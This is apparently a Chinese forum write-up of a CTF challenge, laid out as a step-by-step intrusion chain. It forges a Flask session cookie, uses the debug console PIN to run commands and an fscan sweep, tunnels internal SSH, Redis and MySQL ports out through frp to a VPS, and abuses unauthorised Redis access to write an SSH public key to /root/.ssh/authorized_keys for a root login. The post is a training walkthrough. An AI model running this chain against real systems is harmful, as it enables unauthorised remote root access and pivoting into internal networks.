  1. eyJwb3dlciI6ImFkbWluIiwidXNlciI6ImFhYSJ9.ZSQVYQ.LkckspvukY1xCdSOoZXbeg1ogAw

效果图如下

需要注意的是,运行脚本需要进入到脚本所在目录才可以

将加密后的cookie复制,替换掉存储中的cookie

具体操作为,复制好之后,双击值框(也可以在burp或hackbar上改)
然后ctrl+a(全选),ctrl+v(粘贴)

然后刷新界面
可以看到多出来的一条信息

这里直接把pin码给我们了

当flask开启 debug 模式的时候,会存在 /console 视图
用于开发者进行一些代码的调试
可以用来执行python代码
访问console视图需要有pin码,这也是一种安全措施

我们访问 /console 视图
使用刚刚的pin码进入

还记得最开始让我们读取根目录下的 readme 文件获取提示
这里先读一下

这里不用python也能显示结果,但是用print输出的格式更为整齐

  1. print(open("/readme").read())

接下来先查看 tools 下的内容
result.txt可能是别人扫描完成后产生的内容

这里就不重新扫描了
但是还是给出扫描逻辑

我们需要先查看本机的ip地址

linux查看ip的方法有如下几种
ifconfig
ip addr show
hostname -i

这里前两种不能用
使用 os.popen() 方法执行命令
.read()是读取命令执行的返回结果

接下来获取到了内网的地址之后就开始扫描
命令是
os.popen(‘tools/fscan -h 172.16.0.1/24’)
这里不加.read()
因为扫描时间长
加了.read()会阻塞,等待命令执行完成获取返回结果
扫描完毕后当前目录会产生 result.txt 文件保存内容

这里就直接读取文件了

重点部分如下

.1是正常的服务,不是题目部分
不要乱动(不光给别人造成困扰,而且乱动是违法的,可以参考网络安全法
这里怕到时候题目环境没有关闭,有的人乱搞,这里着重提示一下

然后我们查看.2,.3,.4的信息
.2开启了 22,6379端口 ssh和redis
.3开启了3306端口 Mysql
.4开启了8080,也就是我们当前正在访问的这个web服务

第一段flag在本机的 /flag下

二 内网穿透

我们这里使用 frp 进行内网穿透
需要有一台公网服务器
下载上frp,上传上去,解压

frps.ini 设置内容如下

其他的不用管
执行命令

  1. ./frps -c frps.ini

效果如下

接下来是配置客户端文件
在本地创建python文件,内容如下

  1. s = '''
  2. [common]
  3. server_addr = 你公网服务器的ip
  4. server_port = 7000
  5. [sshde_jt_3]
  6. type = tcp
  7. local_ip = 172.20.0.2
  8. local_port = 22
  9. remote_port = 4001
  10. [redisde_jt_3]
  11. type = tcp
  12. local_ip = 172.20.0.2
  13. local_port = 6379
  14. remote_port = 4002
  15. [mysql_jt_3]
  16. type = tcp
  17. local_ip = 172.20.0.3
  18. local_port = 3306
  19. remote_port = 4006
  20. '''
  21. print(s.replace("\n", "\\n"))

这里对关键部分解读

  1. server_port = 7000 这里跟刚刚frps.ini中一致即可
  2. [sshde_jt_3] 给下面的配置起的名字,跟其他的不一样就行
  3. local_ip 访问的本地ip
  4. local_port 访问的本地端口
  5. remote_port 映射到你的公网服务器的哪个端口上

这里需要注意的是
我们需要在公网服务器的控制台上
比如说我这个服务器使领的阿里云的免费服务器
就要在阿里云的界面里配置防火墙策略
允许 remote_port 设置的端口和frps.ini中设置的端口通过

阿里云设置方法如下
先到控制台
点击左侧的安全组

点击管理规则

点击手动添加

设置这两个值,其他的默认就好

最后保存即可

然后将跑出来的结果复制

到 console 视图键入如下代码
注意,f1前面有4个空格

然后执行

执行后,回到我们的vps(公网服务器)
可以看到如下信息

我们的内网穿透就搭建好了

三 Mysql远程登录

接下来,先获取mysql中的flag
我们可以合理猜测,一个web应用大抵是需要连接数据库的
那么连接数据库,就会存在数据库配置文件
配置文件中就会有账号密码
查看当前目录下内容

有一个 dataSql.py 文件

查看 dataSql.py 的内容

成功找到数据库的账号密码

使用账号密码进行访问
成功连接
-h后面是自己的公网ip地址
4006是我们设置的要将mysql服务器的3306端口映射到我们公网服务器的4006端口上

获取到第二部分的 flag

四 redis未授权访问写 ssh 公钥

因为目标服务器开启了22
那么思路应该就是通过 redis 写公钥
然后 ssh 免密连接获取shell

这里由于我kali装不上 redis控制器
这里就用如下流程进行渗透
kali生成ssh公私钥
复制到 windows
然后将公钥利用redis未授权访问漏洞上传至目标服务器
然后再用kali/windows指定私钥文件进行ssh免密登陆

操作如下

1 在/root/.ssh 下生成rsa密钥对
  1. ssh-keygen -t rsa

2 将文件复制到桌面上
  1. cp /root/.ssh/id_rsa ~/Desktop/
  2. cp /root/.ssh/id_rsa.pub ~/Desktop/

id_rsa.pub 是公钥文件

3 将文件拖到windows下

4 在windows上下载 redis-cli

压缩包在附件里
然后随便找个目录解压

5 将 id_rsa.pub 拖动到 C盘根目录下

方便一点

6 使用任意文本编辑器,在id_rsa.pub上下各添加两个换行符

就敲俩回车
然后保存关闭

7 双击redis文件夹上面的输入框,把原本的内容删除后输入cmd,然后按回车

8 在弹出的cmd窗口中输入命令将id_rsa.pub存储到redis的键中
  1. type c:\id_rsa.pub | redis-cli.exe -h 47.98.225.200 -x set xxx -p 4002

type windows中显示文件内容的命令

9 登录redis,将公钥写入到/root/.ssh/下

1 连接redis
4002是在frpc的配置文件中设置的映射端口

  1. redis-cli.exe -h 公网ip -p 4002

2 查看是否成功将公钥内容写入键
xxx是我们设置的键名

  1. get xxx

3 设置保存目录为 /root/.ssh 目录
真实渗透中可能没有权限到root下,这时候也可以看看有无其他用户

  1. config set dir /root/.ssh

4 设置保存的文件名

  1. config set dbfilename "authorized_keys"

5 保存

  1. save

10 SSH免密登录

这里用kali或者windows以及xshell等工具登录都可以
命令行命令是

  1. ssh -oPort=4001 root@公网IP -i 私钥路径

随后便可以查看 flag

  1. cat /flag

即可获得最后一段flag


参考文章

基于FRP反向代理工具实现内网穿透攻击

Redis未授权访问详解

内网穿透工具frp原理和使用教程

用户名金币积分时间理由
Track-魔方 500.00 0 2023-10-15 21:09:28 深度 200 普适 200 可读 100

打赏我,让我更有动力~

附件列表

有附件被隐藏,你需要回复后可见

11 signin.zip   文件大小:0.003M (下载次数:0)

flask_session_cookie_manager.zip   文件大小:0.001M (下载次数:0)   售价:1

Redis-x64-5.0.14.1.zip   文件大小:11.599M (下载次数:0)   售价:1

2 条回复   |  直到 4个月前 | 452 次浏览

Track-魔方
发表于 6个月前

注意字符编码问题:

评论列表

  • 加载数据中...

编写评论内容

19978445189
发表于 4个月前

114411

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.